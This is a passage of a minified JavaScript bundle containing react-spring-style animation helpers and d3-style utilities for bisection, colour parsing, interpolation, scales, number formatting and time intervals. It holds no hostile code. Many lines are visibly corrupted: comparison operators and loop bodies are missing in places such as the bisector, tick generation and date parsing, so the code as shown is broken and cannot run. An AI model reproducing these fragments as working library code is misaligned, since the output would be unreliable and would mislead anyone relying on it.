"+s,t=t&&o}),t?"none":e}observerAdded(e){e==1&&V(this.inputs,t=>V(t,n=>xe(n)&&Mt(n,this)))}observerRemoved(e){e==0&&V(this.inputs,t=>V(t,n=>xe(n)&&Ut(n,this)))}eventObserved(e){e.type=="change"&&(this._value=null),Nt(this,e)}},Iu=["a","abbr","address","area","article","aside","audio","b","base","bdi","bdo","big","blockquote","body","br","button","canvas","caption","cite","code","col","colgroup","data","datalist","dd","del","details","dfn","dialog","div","dl","dt","em","embed","fieldset","figcaption","figure","footer","form","h1","h2","h3","h4","h5","h6","head","header","hgroup","hr","html","i","iframe","img","input","ins","kbd","keygen","label","legend","li","link","main","map","mark","menu","menuitem","meta","meter","nav","noscript","object","ol","optgroup","option","output","p","param","picture","pre","progress","q","rp","rt","ruby","s","samp","script","section","select","small","source","span","strong","style","sub","summary","sup","table","tbody","td","textarea","tfoot","th","thead","time","title","tr","track","u","ul","var","video","wbr","circle","clipPath","defs","ellipse","foreignObject","g","image","line","linearGradient","mask","path","pattern","polygon","polyline","radialGradient","rect","stop","svg","text","tspan"];we.assign({batchedUpdates:Fa.unstable_batchedUpdates,createStringInterpolator:po,colors:fc});var Tu=Yc(Iu,{applyAnimatedValues:bu,createAnimatedStyle:e=>new Au(e),getComponentProps:({scrollTop:e,scrollLeft:t,...n})=>n}),ri=Tu.animated;function wn(e,t){return e==null||t==null?NaN:et?1:e>=t?0:NaN}function Pu(e,t){return e==null||t==null?NaN:te?1:t>=e?0:NaN}function ii(e){let t,n,r;e.length!==2?(t=wn,n=(a,u)=>wn(e(a),u),r=(a,u)=>e(a)-u):(t=e===wn||e===Pu?e:ju,n=e,r=e);function i(a,u,c=0,d=a.length){if(c>>1;n(a[l],u)<0?c=l+1:d=l}while(c>>1;n(a[l],u)<=0?c=l+1:d=l}while(cc&&r(a[l-1],u)>-r(a[l],u)?l-1:l}return{left:i,center:o,right:s}}function ju(){return 0}function _u(e){return e===null?NaN:+e}const $u=ii(wn),Ro=$u.right;ii(_u).center;class ts extends Map{constructor(t,n=Lu){if(super(),Object.defineProperties(this,{_intern:{value:new Map},_key:{value:n}}),t!=null)for(const[r,i]of t)this.set(r,i)}get(t){return super.get(ns(this,t))}has(t){return super.has(ns(this,t))}set(t,n){return super.set(Eu(this,t),n)}delete(t){return super.delete(Ru(this,t))}}function ns({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):n}function Eu({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):(e.set(r,n),n)}function Ru({_intern:e,_key:t},n){const r=t(n);return e.has(r)&&(n=e.get(r),e.delete(r)),n}function Lu(e){return e!==null&&typeof e=="object"?e.valueOf():e}const Ou=Math.sqrt(50),Du=Math.sqrt(10),Nu=Math.sqrt(2);function Pn(e,t,n){const r=(t-e)/Math.max(0,n),i=Math.floor(Math.log10(r)),s=r/Math.pow(10,i),o=s>=Ou?10:s>=Du?5:s>=Nu?2:1;let a,u,c;return i<0?(c=Math.pow(10,-i)/o,a=Math.round(e*c),u=Math.round(t*c),a/ct&&--u,c=-c):(c=Math.pow(10,i)*o,a=Math.round(e/c),u=Math.round(t/c),a*ct&&--u),u0))return[];if(e===t)return[e];const r=t=i))return[];const a=s-i+1,u=new Array(a);if(r)if(o<0)for(let c=0;c>8&15|t>>4&240,t>>4&15|t&240,(t&15)<<4|t&15,1):n===8?un(t>>24&255,t>>16&255,t>>8&255,(t&255)/255):n===4?un(t>>12&15|t>>8&240,t>>8&15|t>>4&240,t>>4&15|t&240,((t&15)<<4|t&15)/255):null):(t=Vu.exec(e))?new fe(t[1],t[2],t[3],1):(t=Bu.exec(e))?new fe(t[1]*255/100,t[2]*255/100,t[3]*255/100,1):(t=Gu.exec(e))?un(t[1],t[2],t[3],t[4]):(t=Yu.exec(e))?un(t[1]*255/100,t[2]*255/100,t[3]*255/100,t[4]):(t=Wu.exec(e))?ls(t[1],t[2]/100,t[3]/100,1):(t=Xu.exec(e))?ls(t[1],t[2]/100,t[3]/100,t[4]):is.hasOwnProperty(e)?as(is[e]):e==="transparent"?new fe(NaN,NaN,NaN,0):null}function as(e){return new fe(e>>16&255,e>>8&255,e&255,1)}function un(e,t,n,r){return r<=0&&(e=t=n=NaN),new fe(e,t,n,r)}function Qu(e){return e instanceof Jt||(e=xt(e)),e?(e=e.rgb(),new fe(e.r,e.g,e.b,e.opacity)):new fe}function Or(e,t,n,r){return arguments.length===1?Qu(e):new fe(e,t,n,r??1)}function fe(e,t,n,r){this.r=+e,this.g=+t,this.b=+n,this.opacity=+r}oi(fe,Or,Oo(Jt,{brighter(e){return e=e==null?_n:Math.pow(_n,e),new fe(this.r*e,this.g*e,this.b*e,this.opacity)},darker(e){return e=e==null?Bt:Math.pow(Bt,e),new fe(this.r*e,this.g*e,this.b*e,this.opacity)},rgb(){return this},clamp(){return new fe(rt(this.r),rt(this.g),rt(this.b),$n(this.opacity))},displayable(){return-.5<=this.r&&this.r<255.5&&-.5<=this.g&&this.g<255.5&&-.5<=this.b&&this.b<255.5&&0<=this.opacity&&this.opacity<=1},hex:cs,formatHex:cs,formatHex8:Zu,formatRgb:us,toString:us}));function cs(){return`#${et(this.r)}${et(this.g)}${et(this.b)}`}function Zu(){return`#${et(this.r)}${et(this.g)}${et(this.b)}${et((isNaN(this.opacity)?1:this.opacity)*255)}`}function us(){const e=$n(this.opacity);return`${e===1?"rgb(":"rgba("}${rt(this.r)}, ${rt(this.g)}, ${rt(this.b)}${e===1?")":`, ${e})`}`}function $n(e){return isNaN(e)?1:Math.max(0,Math.min(1,e))}function rt(e){return Math.max(0,Math.min(255,Math.round(e)||0))}function et(e){return e=rt(e),(e<16?"0":"")+e.toString(16)}function ls(e,t,n,r){return r<=0?e=t=n=NaN:n<=0||n>=1?e=t=NaN:t<=0&&(e=NaN),new ke(e,t,n,r)}function Do(e){if(e instanceof ke)return new ke(e.h,e.s,e.l,e.opacity);if(e instanceof Jt||(e=xt(e)),!e)return new ke;if(e instanceof ke)return e;e=e.rgb();var t=e.r/255,n=e.g/255,r=e.b/255,i=Math.min(t,n,r),s=Math.max(t,n,r),o=NaN,a=s-i,u=(s+i)/2;return a?(t===s?o=(n-r)/a+(n0&&u<1?0:o,new ke(o,a,u,e.opacity)}function Ju(e,t,n,r){return arguments.length===1?Do(e):new ke(e,t,n,r??1)}function ke(e,t,n,r){this.h=+e,this.s=+t,this.l=+n,this.opacity=+r}oi(ke,Ju,Oo(Jt,{brighter(e){return e=e==null?_n:Math.pow(_n,e),new ke(this.h,this.s,this.l*e,this.opacity)},darker(e){return e=e==null?Bt:Math.pow(Bt,e),new ke(this.h,this.s,this.l*e,this.opacity)},rgb(){var e=this.h%360+(this.h<0)*360,t=isNaN(e)||isNaN(this.s)?0:this.s,n=this.l,r=n+(n<.5?n:1-n)*t,i=2*n-r;return new fe(cr(e>=240?e-240:e+120,i,r),cr(e,i,r),cr(e<120?e+240:e-120,i,r),this.opacity)},clamp(){return new ke(ds(this.h),ln(this.s),ln(this.l),$n(this.opacity))},displayable(){return(0<=this.s&&this.s<=1||isNaN(this.s))&&0<=this.l&&this.l<=1&&0<=this.opacity&&this.opacity<=1},formatHsl(){const e=$n(this.opacity);return`${e===1?"hsl(":"hsla("}${ds(this.h)}, ${ln(this.s)*100}%, ${ln(this.l)*100}%${e===1?")":`, ${e})`}`}}));function ds(e){return e=(e||0)%360,e<0?e+360:e}function ln(e){return Math.max(0,Math.min(1,e||0))}function cr(e,t,n){return(e<60?t+(n-t)*e/60:e<180?n:e<240?t+(n-t)*(240-e)/60:t)*255}const ai=e=>()=>e;function el(e,t){return function(n){return e+n*t}}function tl(e,t,n){return e=Math.pow(e,n),t=Math.pow(t,n)-e,n=1/n,function(r){return Math.pow(e+r*t,n)}}function nl(e){return(e=+e)==1?No:function(t,n){return n-t?tl(t,n,e):ai(isNaN(t)?n:t)}}function No(e,t){var n=t-e;return n?el(e,n):ai(isNaN(e)?t:e)}const fs=function e(t){var n=nl(t);function r(i,s){var o=n((i=Or(i)).r,(s=Or(s)).r),a=n(i.g,s.g),u=n(i.b,s.b),c=No(i.opacity,s.opacity);return function(d){return i.r=o(d),i.g=a(d),i.b=u(d),i.opacity=c(d),i+""}}return r.gamma=e,r}(1);function rl(e,t){t||(t=[]);var n=e?Math.min(t.length,e.length):0,r=t.slice(),i;return function(s){for(i=0;in&&(s=t.slice(n,s),a[o]?a[o]+=s:a[++o]=s),(r=r[0])===(i=i[0])?a[o]?a[o]+=i:a[++o]=i:(a[++o]=null,u.push({i:o,x:Yt(r,i)})),n=ur.lastIndex;return nt&&(n=e,e=t,t=n),function(r){return Math.max(e,Math.min(t,r))}}function hl(e,t,n){var r=e[0],i=e[1],s=t[0],o=t[1];return i2?ml:hl,u=c=null,l}function l(f){return f==null||isNaN(f=+f)?s:(u||(u=a(e.map(r),t,n)))(r(o(f)))}return l.invert=function(f){return o(i((c||(c=a(t,e.map(r),Yt)))(f)))},l.domain=function(f){return arguments.length?(e=Array.from(f,dl),d()):e.slice()},l.range=function(f){return arguments.length?(t=Array.from(f),d()):t.slice()},l.rangeRound=function(f){return t=Array.from(f),n=Fo,d()},l.clamp=function(f){return arguments.length?(o=f?!0:be,d()):o!==be},l.interpolate=function(f){return arguments.length?(n=f,d()):n},l.unknown=function(f){return arguments.length?(s=f,l):s},function(f,m){return r=f,i=m,d()}}function zo(){return ci()(be,be)}function gl(e){return Math.abs(e=Math.round(e))>=1e21?e.toLocaleString("en").replace(/,/g,""):e.toString(10)}function En(e,t){if((n=(e=t?e.toExponential(t-1):e.toExponential()).indexOf("e"))<0)return null;var n,r=e.slice(0,n);return[r.length>1?r[0]+r.slice(2):r,+e.slice(n+1)]}function yt(e){return e=En(Math.abs(e)),e?e[1]:NaN}function pl(e,t){return function(n,r){for(var i=n.length,s=[],o=0,a=e[0],u=0;i>0&&a>0&&(u+a+1>r&&(a=Math.max(1,r-u)),s.push(n.substring(i-=a,i+a)),!((u+=a+1)>r));)a=e[o=(o+1)%e.length];return s.reverse().join(t)}}function xl(e){return function(t){return t.replace(/[0-9]/g,function(n){return e[+n]})}}var yl=/^(?:(.)?([<>=^]))?([+\-( ])?([$#])?(0)?(\d+)?(,)?(\.\d+)?(~)?([a-z%])?$/i;function Wt(e){if(!(t=yl.exec(e)))throw new Error("invalid format: "+e);var t;return new ui({fill:t[1],align:t[2],sign:t[3],symbol:t[4],zero:t[5],width:t[6],comma:t[7],precision:t[8]&&t[8].slice(1),trim:t[9],type:t[10]})}Wt.prototype=ui.prototype;function ui(e){this.fill=e.fill===void 0?" ":e.fill+"",this.align=e.align===void 0?">":e.align+"",this.sign=e.sign===void 0?"-":e.sign+"",this.symbol=e.symbol===void 0?"":e.symbol+"",this.zero=!!e.zero,this.width=e.width===void 0?void 0:+e.width,this.comma=!!e.comma,this.precision=e.precision===void 0?void 0:+e.precision,this.trim=!!e.trim,this.type=e.type===void 0?"":e.type+""}ui.prototype.toString=function(){return this.fill+this.align+this.sign+this.symbol+(this.zero?"0":"")+(this.width===void 0?"":Math.max(1,this.width|0))+(this.comma?",":"")+(this.precision===void 0?"":"."+Math.max(0,this.precision|0))+(this.trim?"~":"")+this.type};function bl(e){e:for(var t=e.length,n=1,r=-1,i;n0&&(r=0);break}return r>0?e.slice(0,r)+e.slice(i+1):e}var Ho;function vl(e,t){var n=En(e,t);if(!n)return e+"";var r=n[0],i=n[1],s=i-(Ho=Math.max(-8,Math.min(8,Math.floor(i/3)))*3)+1,o=r.length;return s===o?r:s>o?r+new Array(s-o+1).join("0"):s>0?r.slice(0,s)+"."+r.slice(s):"0."+new Array(1-s).join("0")+En(e,Math.max(0,t+s-1))[0]}function ms(e,t){var n=En(e,t);if(!n)return e+"";var r=n[0],i=n[1];return i<0?"0."+new Array(-i).join("0")+r:r.length>i+1?r.slice(0,i+1)+"."+r.slice(i+1):r+new Array(i-r.length+2).join("0")}const gs={"%":(e,t)=>(e*100).toFixed(t),b:e=>Math.round(e).toString(2),c:e=>e+"",d:gl,e:(e,t)=>e.toExponential(t),f:(e,t)=>e.toFixed(t),g:(e,t)=>e.toPrecision(t),o:e=>Math.round(e).toString(8),p:(e,t)=>ms(e*100,t),r:ms,s:vl,X:e=>Math.round(e).toString(16).toUpperCase(),x:e=>Math.round(e).toString(16)};function ps(e){return e}var xs=Array.prototype.map,ys=["y","z","a","f","p","n","µ","m","","k","M","G","T","P","E","Z","Y"];function wl(e){var t=e.grouping===void 0||e.thousands===void 0?ps:pl(xs.call(e.grouping,Number),e.thousands+""),n=e.currency===void 0?"":e.currency[0]+"",r=e.currency===void 0?"":e.currency[1]+"",i=e.decimal===void 0?".":e.decimal+"",s=e.numerals===void 0?ps:xl(xs.call(e.numerals,String)),o=e.percent===void 0?"%":e.percent+"",a=e.minus===void 0?"−":e.minus+"",u=e.nan===void 0?"NaN":e.nan+"";function c(l){l=Wt(l);var f=l.fill,m=l.align,g=l.sign,p=l.symbol,x=l.zero,b=l.width,M=l.comma,w=l.precision,A=l.trim,I=l.type;I==="n"?(M=!0,I="g"):gs[I]||(w===void 0&&(w=12),A=!0,I="g"),(x||f==="0"&&m==="=")&&(x=!0,f="0",m="=");var C=p==="$"?n:p==="#"&&/[boxX]/.test(I)?"0"+I.toLowerCase():"",_=p==="$"?r:/[%p]/.test(I)?o:"",E=gs[I],D=/[defgprs%]/.test(I);w=w===void 0?6:/[gprs]/.test(I)?Math.max(1,Math.min(21,w)):Math.max(0,Math.min(20,w));function O(j){var U=C,R=_,T,$,H;if(I==="c")R=E(j)+R,j="";else{j=+j;var B=j<0||1/j<0;if(j=isNaN(j)?u:E(Math.abs(j),w),A&&(j=bl(j)),B&&+j==0&&g!=="+"&&(B=!1),U=(B?g==="("?g:a:g==="-"||g==="("?"":g)+U,R=(I==="s"?ys[8+Ho/3]:"")+R+(B&&g==="("?")":""),D){for(T=-1,$=j.length;++T<$;)if(H=j.charCodeAt(T),48>H||H>57){R=(H===46?i+j.slice(T+1):j.slice(T))+R,j=j.slice(0,T);break}}}M&&!x&&(j=t(j,1/0));var F=U.length+j.length+R.length,Y=F>1)+U+j+R+Y.slice(F);break;default:j=Y+U+j+R;break}return s(j)}return O.toString=function(){return l+""},O}function d(l,f){var m=c((l=Wt(l),l.type="f",l)),g=Math.max(-8,Math.min(8,Math.floor(yt(f)/3)))*3,p=Math.pow(10,-g),x=ys[8+g/3];return function(b){return m(p*b)+x}}return{format:c,formatPrefix:d}}var dn,li,Vo;Cl({thousands:",",grouping:[3],currency:["$",""]});function Cl(e){return dn=wl(e),li=dn.format,Vo=dn.formatPrefix,dn}function Ml(e){return Math.max(0,-yt(Math.abs(e)))}function kl(e,t){return Math.max(0,Math.max(-8,Math.min(8,Math.floor(yt(t)/3)))*3-yt(Math.abs(e)))}function Al(e,t){return e=Math.abs(e),t=Math.abs(t)-e,Math.max(0,yt(t)-yt(e))+1}function Sl(e,t,n,r){var i=Lr(e,t,n),s;switch(r=Wt(r??",f"),r.type){case"s":{var o=Math.max(Math.abs(e),Math.abs(t));return r.precision==null&&!isNaN(s=kl(i,o))&&(r.precision=s),Vo(r,o)}case"":case"e":case"g":case"p":case"r":{r.precision==null&&!isNaN(s=Al(i,Math.max(Math.abs(e),Math.abs(t))))&&(r.precision=s-(r.type==="e"));break}case"f":case"%":{r.precision==null&&!isNaN(s=Ml(i))&&(r.precision=s-(r.type==="%")*2);break}}return li(r)}function di(e){var t=e.domain;return e.ticks=function(n){var r=t();return Er(r[0],r[r.length-1],n??10)},e.tickFormat=function(n,r){var i=t();return Sl(i[0],i[i.length-1],n??10,r)},e.nice=function(n){n==null&&(n=10);var r=t(),i=0,s=r.length-1,o=r[i],a=r[s],u,c,d=10;for(a0;){if(c=Rr(o,a,n),c===u)return r[i]=o,r[s]=a,t(r);if(c>0)o=Math.floor(o/c)*c,a=Math.ceil(a/c)*c;else if(c<0)o=Math.ceil(o*c)/c,a=Math.floor(a*c)/c;else break;u=c}return e},e}function Bo(){var e=zo();return e.copy=function(){return Xn(e,Bo())},Xe.apply(e,arguments),di(e)}function Go(e,t){e=e.slice();var n=0,r=e.length-1,i=e[n],s=e[r],o;return sMath.pow(e,t)}function _l(e){return e===Math.E?Math.log:e===10&&Math.log10||e===2&&Math.log2||(e=Math.log(e),t=>Math.log(t)/e)}function ws(e){return(t,n)=>-e(-t,n)}function $l(e){const t=e(bs,vs),n=t.domain;let r=10,i,s;function o(){return i=_l(r),s=jl(r),n()[0]<0?(i=ws(i),s=ws(s),e(Il,Tl)):e(bs,vs),t}return t.base=function(a){return arguments.length?(r=+a,o()):r},t.domain=function(a){return arguments.length?(n(a),o()):n()},t.ticks=a=>{const u=n();let c=u[0],d=u[u.length-1];const l=d0){for(;f<=m;++f)for(g=1;gd)break;b.push(p)}}else for(;f<=m;++f)for(g=r-1;g>=1;--g)if(p=f>0?g/s(-f):g*s(f),!(pd)break;b.push(p)}b.length*2{if(a==null&&(a=10),u==null&&(u=r===10?"s":","),typeof u!="function"&&(!(r%1)&&(u=Wt(u)).precision==null&&(u.trim=!0),u=li(u)),a===1/0)return u;const c=Math.max(1,r*a/t.ticks().length);return d=>{let l=d/s(Math.round(i(d)));return l*rn(Go(n(),{floor:a=>s(Math.floor(i(a))),ceil:a=>s(Math.ceil(i(a)))})),t}function Yo(){const e=$l(ci()).domain([1,10]);return e.copy=()=>Xn(e,Yo()).base(e.base()),Xe.apply(e,arguments),e}function Cs(e){return function(t){return t<0?-Math.pow(-t,e):Math.pow(t,e)}}function El(e){return e<0?-Math.sqrt(-e):Math.sqrt(e)}function Rl(e){return e<0?-e*e:e*e}function Ll(e){var t=e(be,be),n=1;function r(){return n===1?e(be,be):n===.5?e(El,Rl):e(Cs(n),Cs(1/n))}return t.exponent=function(i){return arguments.length?(n=+i,r()):n},di(t)}function fi(){var e=Ll(ci());return e.copy=function(){return Xn(e,fi()).exponent(e.exponent())},Xe.apply(e,arguments),e}function Ol(){return fi.apply(null,arguments).exponent(.5)}function Wo(){var e=[.5],t=[0,1],n,r=1;function i(s){return s!=null&&s<=s?t[Ro(e,s,0,r)]:n}return i.domain=function(s){return arguments.length?(e=Array.from(s),r=Math.min(e.length,t.length-1),i):e.slice()},i.range=function(s){return arguments.length?(t=Array.from(s),r=Math.min(e.length,t.length-1),i):t.slice()},i.invertExtent=function(s){var o=t.indexOf(s);return[e[o-1],e[o]]},i.unknown=function(s){return arguments.length?(n=s,i):n},i.copy=function(){return Wo().domain(e).range(t).unknown(n)},Xe.apply(i,arguments)}const lr=new Date,dr=new Date;function re(e,t,n,r){function i(s){return e(s=arguments.length===0?new Date:new Date(+s)),s}return i.floor=s=>(e(s=new Date(+s)),s),i.ceil=s=>(e(s=new Date(s-1)),t(s,1),e(s),s),i.round=s=>{const o=i(s),a=i.ceil(s);return s-o(t(s=new Date(+s),o==null?1:Math.floor(o)),s),i.range=(s,o,a)=>{const u=[];if(s=i.ceil(s),a=a==null?1:Math.floor(a),!(s0))return u;let c;do u.push(c=new Date(+s)),t(s,a),e(s);while(cre(o=>{if(o>=o)for(;e(o),!s(o);)o.setTime(o-1)},(o,a)=>{if(o>=o)if(a<0)for(;++a<=0;)for(;t(o,-1),!s(o););else for(;--a>=0;)for(;t(o,1),!s(o););}),n&&(i.count=(s,o)=>(lr.setTime(+s),dr.setTime(+o),e(lr),e(dr),Math.floor(n(lr,dr))),i.every=s=>(s=Math.floor(s),!isFinite(s)||!(s>0)?null:s>1?i.filter(r?o=>r(o)%s===0:o=>i.count(0,o)%s===0):i)),i}const Rn=re(()=>{},(e,t)=>{e.setTime(+e+t)},(e,t)=>t-e);Rn.every=e=>(e=Math.floor(e),!isFinite(e)||!(e>0)?null:e>1?re(t=>{t.setTime(Math.floor(t/e)*e)},(t,n)=>{t.setTime(+t+n*e)},(t,n)=>(n-t)/e):Rn);Rn.range;const Oe=1e3,ve=Oe*60,De=ve*60,Ue=De*24,hi=Ue*7,Ms=Ue*30,fr=Ue*365,tt=re(e=>{e.setTime(e-e.getMilliseconds())},(e,t)=>{e.setTime(+e+t*Oe)},(e,t)=>(t-e)/Oe,e=>e.getUTCSeconds());tt.range;const mi=re(e=>{e.setTime(e-e.getMilliseconds()-e.getSeconds()*Oe)},(e,t)=>{e.setTime(+e+t*ve)},(e,t)=>(t-e)/ve,e=>e.getMinutes());mi.range;const gi=re(e=>{e.setUTCSeconds(0,0)},(e,t)=>{e.setTime(+e+t*ve)},(e,t)=>(t-e)/ve,e=>e.getUTCMinutes());gi.range;const pi=re(e=>{e.setTime(e-e.getMilliseconds()-e.getSeconds()*Oe-e.getMinutes()*ve)},(e,t)=>{e.setTime(+e+t*De)},(e,t)=>(t-e)/De,e=>e.getHours());pi.range;const xi=re(e=>{e.setUTCMinutes(0,0,0)},(e,t)=>{e.setTime(+e+t*De)},(e,t)=>(t-e)/De,e=>e.getUTCHours());xi.range;const en=re(e=>e.setHours(0,0,0,0),(e,t)=>e.setDate(e.getDate()+t),(e,t)=>(t-e-(t.getTimezoneOffset()-e.getTimezoneOffset())*ve)/Ue,e=>e.getDate()-1);en.range;const qn=re(e=>{e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCDate(e.getUTCDate()+t)},(e,t)=>(t-e)/Ue,e=>e.getUTCDate()-1);qn.range;const Xo=re(e=>{e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCDate(e.getUTCDate()+t)},(e,t)=>(t-e)/Ue,e=>Math.floor(e/Ue));Xo.range;function ot(e){return re(t=>{t.setDate(t.getDate()-(t.getDay()+7-e)%7),t.setHours(0,0,0,0)},(t,n)=>{t.setDate(t.getDate()+n*7)},(t,n)=>(n-t-(n.getTimezoneOffset()-t.getTimezoneOffset())*ve)/hi)}const Kn=ot(0),Ln=ot(1),Dl=ot(2),Nl=ot(3),bt=ot(4),Ul=ot(5),Fl=ot(6);Kn.range;Ln.range;Dl.range;Nl.range;bt.range;Ul.range;Fl.range;function at(e){return re(t=>{t.setUTCDate(t.getUTCDate()-(t.getUTCDay()+7-e)%7),t.setUTCHours(0,0,0,0)},(t,n)=>{t.setUTCDate(t.getUTCDate()+n*7)},(t,n)=>(n-t)/hi)}const Qn=at(0),On=at(1),zl=at(2),Hl=at(3),vt=at(4),Vl=at(5),Bl=at(6);Qn.range;On.range;zl.range;Hl.range;vt.range;Vl.range;Bl.range;const yi=re(e=>{e.setDate(1),e.setHours(0,0,0,0)},(e,t)=>{e.setMonth(e.getMonth()+t)},(e,t)=>t.getMonth()-e.getMonth()+(t.getFullYear()-e.getFullYear())*12,e=>e.getMonth());yi.range;const bi=re(e=>{e.setUTCDate(1),e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCMonth(e.getUTCMonth()+t)},(e,t)=>t.getUTCMonth()-e.getUTCMonth()+(t.getUTCFullYear()-e.getUTCFullYear())*12,e=>e.getUTCMonth());bi.range;const Fe=re(e=>{e.setMonth(0,1),e.setHours(0,0,0,0)},(e,t)=>{e.setFullYear(e.getFullYear()+t)},(e,t)=>t.getFullYear()-e.getFullYear(),e=>e.getFullYear());Fe.every=e=>!isFinite(e=Math.floor(e))||!(e>0)?null:re(t=>{t.setFullYear(Math.floor(t.getFullYear()/e)*e),t.setMonth(0,1),t.setHours(0,0,0,0)},(t,n)=>{t.setFullYear(t.getFullYear()+n*e)});Fe.range;const ze=re(e=>{e.setUTCMonth(0,1),e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCFullYear(e.getUTCFullYear()+t)},(e,t)=>t.getUTCFullYear()-e.getUTCFullYear(),e=>e.getUTCFullYear());ze.every=e=>!isFinite(e=Math.floor(e))||!(e>0)?null:re(t=>{t.setUTCFullYear(Math.floor(t.getUTCFullYear()/e)*e),t.setUTCMonth(0,1),t.setUTCHours(0,0,0,0)},(t,n)=>{t.setUTCFullYear(t.getUTCFullYear()+n*e)});ze.range;function qo(e,t,n,r,i,s){const o=[[tt,1,Oe],[tt,5,5*Oe],[tt,15,15*Oe],[tt,30,30*Oe],[s,1,ve],[s,5,5*ve],[s,15,15*ve],[s,30,30*ve],[i,1,De],[i,3,3*De],[i,6,6*De],[i,12,12*De],[r,1,Ue],[r,2,2*Ue],[n,1,hi],[t,1,Ms],[t,3,3*Ms],[e,1,fr]];function a(c,d,l){const f=dx).right(o,f);if(m===o.length)return e.every(Lr(c/fr,d/fr,l));if(m===0)return Rn.every(Math.max(Lr(c,d,l),1));const[g,p]=o[f/o[m-1][2]53)return null;"w"in k||(k.w=1),"Z"in k?(X=mr(Tt(k.y,0,1)),oe=X.getUTCDay(),X=oe>4||oe===0?On.ceil(X):On(X),X=qn.offset(X,(k.V-1)*7),k.y=X.getUTCFullYear(),k.m=X.getUTCMonth(),k.d=X.getUTCDate()+(k.w+6)%7):(X=hr(Tt(k.y,0,1)),oe=X.getDay(),X=oe>4||oe===0?Ln.ceil(X):Ln(X),X=en.offset(X,(k.V-1)*7),k.y=X.getFullYear(),k.m=X.getMonth(),k.d=X.getDate()+(k.w+6)%7)}else("W"in k||"U"in k)&&("w"in k||(k.w="u"in k?k.u%7:"W"in k?1:0),oe="Z"in k?mr(Tt(k.y,0,1)).getUTCDay():hr(Tt(k.y,0,1)).getDay(),k.m=0,k.d="W"in k?(k.w+6)%7+k.W*7-(oe+5)%7:k.w+k.U*7-(oe+6)%7);return"Z"in k?(k.H+=k.Z/100|0,k.M+=k.Z%100,mr(k)):hr(k)}}function E(P,L,N,k){for(var J=0,X=L.length,oe=N.length,ie,pe;J=oe)return-1;if(ie=L.charCodeAt(J++),ie===37){if(ie=L.charAt(J++),pe=I[ie in ks?L.charAt(J++):ie],!pe||(k=pe(P,N,k))<0)return-1}else if(ie!=N.charCodeAt(k++))return-1}return k}function D(P,L,N){var k=c.exec(L.slice(N));return k?(P.p=d.get(k[0].toLowerCase()),N+k[0].length):-1}function O(P,L,N){var k=m.exec(L.slice(N));return k?(P.w=g.get(k[0].toLowerCase()),N+k[0].length):-1}function j(P,L,N){var k=l.exec(L.slice(N));return k?(P.w=f.get(k[0].toLowerCase()),N+k[0].length):-1}function U(P,L,N){var k=b.exec(L.slice(N));return k?(P.m=M.get(k[0].toLowerCase()),N+k[0].length):-1}function R(P,L,N){var k=p.exec(L.slice(N));return k?(P.m=x.get(k[0].toLowerCase()),N+k[0].length):-1}function T(P,L,N){return E(P,t,L,N)}function $(P,L,N){return E(P,n,L,N)}function H(P,L,N){return E(P,r,L,N)}function B(P){return o[P.getDay()]}function F(P){return s[P.getDay()]}function Y(P){return u[P.getMonth()]}function G(P){return a[P.getMonth()]}function K(P){return i[+(P.getHours()>=12)]}function ne(P){return 1+~~(P.getMonth()/3)}function he(P){return o[P.getUTCDay()]}function ce(P){return s[P.getUTCDay()]}function Z(P){return u[P.getUTCMonth()]}function me(P){return a[P.getUTCMonth()]}function ae(P){return i[+(P.getUTCHours()>=12)]}function ge(P){return 1+~~(P.getUTCMonth()/3)}return{format:function(P){var L=C(P+="",w);return L.toString=function(){return P},L},parse:function(P){var L=_(P+="",!1);return L.toString=function(){return P},L},utcFormat:function(P){var L=C(P+="",A);return L.toString=function(){return P},L},utcParse:function(P){var L=_(P+="",!0);return L.toString=function(){return P},L}}}var ks={"-":"",_:" ",0:"0"},se=/^\s*\d+/,Kl=/^%/,Ql=/[\\^$*+?|[\]().{}]/g;function W(e,t,n){var r=e<0?"-":"",i=(r?-e:e)+"",s=i.length;return r+(s[t.toLowerCase(),n]))}function Jl(e,t,n){var r=se.exec(t.slice(n,n+1));return r?(e.w=+r[0],n+r[0].length):-1}function ed(e,t,n){var r=se.exec(t.slice(n,n+1));return r?(e.u=+r[0],n+r[0].length):-1}function td(e,t,n){var r=se.exec(t.slice(n,n+2));return r?(e.U=+r[0],n+r[0].length):-1}function nd(e,t,n){var r=se.exec(t.slice(n,n+2));return r?(e.V=+r[0],n+r[0].length):-1}function rd(e,t,n){var r=se.exec(t.slice(n,n+2));return r?(e.W=+r[0],n+r[0].length):-1}function As(e,t,n){var r=se.exec(t.slice(n,n+4));return r?(e.y=+r[0],n+r[0].length):-1}function Ss(e,t,n){var r=se.exec(t.slice(n,n+2));return r?(e.y=+r[0]+(+r[0]>68?1900:2e3),n+r[0].length):-1}function id(e,t,n){var r=/^(Z)|([+-]\d\d)(?::?(\d\d))?/.exec(t.slice(n,n+6));return r?(e.Z=r[1]?0:-(r[2]+(r[3]||"00")),n+r[0].length):-1}function sd(e,t,n){var r=se.exec(t.slice(n,n+1));return r?(e.q=r[0]*3-3,n+r[0].length):-1}function od(e,t,n){var r=se.exec(t.slice(n,n+2));return r?(e.m=r[0]-1,n+r[0].length):-1}function Is(e,t,n){var r=se.exec(t.slice(n,n+2));return r?(e.d=+r[0],n+r[0].length):-1}function ad(e,t,n){var r=se.exec(t.slice(n,n+3));return r?(e.m=0,e.d=+r[0],n+r[0].length):-1}function Ts(e,t,n){var r=se.exec(t.slice(n,n+2));return r?(e.H=+r[0],n+r[0].length):-1}function cd(e,t,n){var r=se.exec(t.slice(n,n+2));return r?(e.M=+r[0],n+r[0].length):-1}function ud(e,t,n){var r=se.exec(t.slice(n,n+2));return r?(e.S=+r[0],n+r[0].length):-1}function ld(e,t,n){var r=se.exec(t.slice(n,n+3));return r?(e.L=+r[0],n+r[0].length):-1}function dd(e,t,n){var r=se.exec(t.slice(n,n+6));return r?(e.L=Math.floor(r[0]/1e3),n+r[0].length):-1}function fd(e,t,n){var r=Kl.exec(t.slice(n,n+1));return r?n+r[0].length:-1}function hd(e,t,n){var r=se.exec(t.slice(n));return r?(e.Q=+r[0],n+r[0].length):-1}function md(e,t,n){var r=se.exec(t.slice(n));return r?(e.s=+r[0],n+r[0].length):-1}function Ps(e,t){return W(e.getDate(),t,2)}function gd(e,t){return 